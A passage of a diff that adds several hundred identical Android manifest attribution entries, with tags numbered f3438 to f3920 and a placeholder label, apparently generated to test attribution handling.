+  <attribution android:tag="f3438" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3439" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3440" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3441" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3442" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3443" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3444" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3445" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3446" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3447" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3448" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3449" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3450" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3451" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3452" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3453" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3454" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3455" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3456" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3457" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3458" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3459" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3460" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3461" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3462" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3463" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3464" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3465" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3466" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3467" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3468" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3469" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3470" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3471" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3472" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3473" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3474" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3475" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3476" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3477" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3478" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3479" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3480" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3481" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3482" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3483" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3484" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3485" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3486" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3487" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3488" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3489" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3490" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3491" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3492" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3493" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3494" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3495" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3496" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3497" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3498" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3499" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3500" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3501" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3502" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3503" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3504" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3505" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3506" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3507" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3508" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3509" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3510" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3511" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3512" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3513" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3514" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3515" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3516" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3517" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3518" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3519" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3520" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3521" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3522" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3523" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3524" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3525" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3526" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3527" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3528" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3529" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3530" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3531" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3532" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3533" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3534" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3535" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3536" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3537" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3538" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3539" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3540" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3541" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3542" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3543" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3544" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3545" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3546" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3547" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3548" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3549" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3550" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3551" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3552" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3553" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3554" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3555" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3556" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3557" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3558" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3559" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3560" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3561" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3562" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3563" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3564" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3565" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3566" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3567" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3568" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3569" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3570" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3571" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3572" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3573" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3574" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3575" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3576" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3577" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3578" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3579" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3580" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3581" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3582" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3583" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3584" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3585" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3586" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3587" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3588" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3589" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3590" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3591" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3592" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3593" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3594" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3595" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3596" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3597" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3598" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3599" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3600" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3601" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3602" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3603" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3604" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3605" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3606" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3607" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3608" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3609" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3610" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3611" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3612" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3613" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3614" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3615" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3616" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3617" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3618" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3619" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3620" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3621" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3622" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3623" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3624" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3625" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3626" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3627" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3628" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3629" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3630" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3631" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3632" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3633" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3634" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3635" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3636" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3637" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3638" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3639" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3640" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3641" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3642" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3643" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3644" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3645" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3646" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3647" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3648" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3649" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3650" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3651" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3652" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3653" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3654" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3655" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3656" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3657" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3658" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3659" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3660" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3661" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3662" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3663" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3664" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3665" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3666" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3667" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3668" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3669" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3670" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3671" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3672" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3673" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3674" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3675" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3676" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3677" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3678" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3679" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3680" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3681" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3682" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3683" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3684" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3685" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3686" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3687" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3688" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3689" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3690" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3691" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3692" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3693" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3694" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3695" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3696" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3697" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3698" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3699" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3700" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3701" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3702" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3703" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3704" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3705" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3706" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3707" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3708" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3709" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3710" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3711" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3712" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3713" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3714" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3715" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3716" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3717" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3718" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3719" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3720" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3721" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3722" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3723" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3724" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3725" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3726" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3727" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3728" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3729" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3730" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3731" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3732" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3733" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3734" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3735" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3736" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3737" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3738" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3739" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3740" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3741" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3742" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3743" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3744" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3745" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3746" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3747" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3748" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3749" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3750" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3751" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3752" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3753" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3754" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3755" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3756" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3757" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3758" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3759" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3760" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3761" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3762" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3763" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3764" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3765" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3766" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3767" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3768" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3769" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3770" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3771" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3772" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3773" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3774" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3775" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3776" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3777" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3778" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3779" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3780" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3781" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3782" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3783" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3784" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3785" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3786" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3787" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3788" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3789" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3790" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3791" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3792" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3793" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3794" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3795" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3796" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3797" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3798" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3799" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3800" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3801" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3802" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3803" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3804" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3805" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3806" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3807" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3808" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3809" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3810" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3811" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3812" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3813" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3814" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3815" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3816" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3817" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3818" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3819" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3820" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3821" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3822" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3823" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3824" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3825" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3826" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3827" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3828" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3829" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3830" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3831" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3832" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3833" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3834" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3835" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3836" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3837" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3838" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3839" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3840" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3841" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3842" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3843" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3844" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3845" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3846" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3847" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3848" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3849" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3850" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3851" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3852" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3853" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3854" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3855" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3856" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3857" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3858" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3859" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3860" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3861" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3862" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3863" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3864" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3865" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3866" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3867" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3868" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3869" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3870" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3871" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3872" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3873" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3874" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3875" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3876" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3877" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3878" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3879" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3880" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3881" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3882" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3883" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3884" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3885" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3886" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3887" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3888" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3889" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3890" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3891" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3892" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3893" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3894" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3895" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3896" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3897" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3898" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3899" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3900" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3901" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3902" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3903" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3904" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3905" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3906" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3907" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3908" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3909" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3910" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3911" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3912" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3913" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3914" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3915" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3916" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3917" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3918" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3919" android:label="@string/dummyLabel" />
+  <attribution android:tag="f3920" android:label="@string/dummyLabel" />
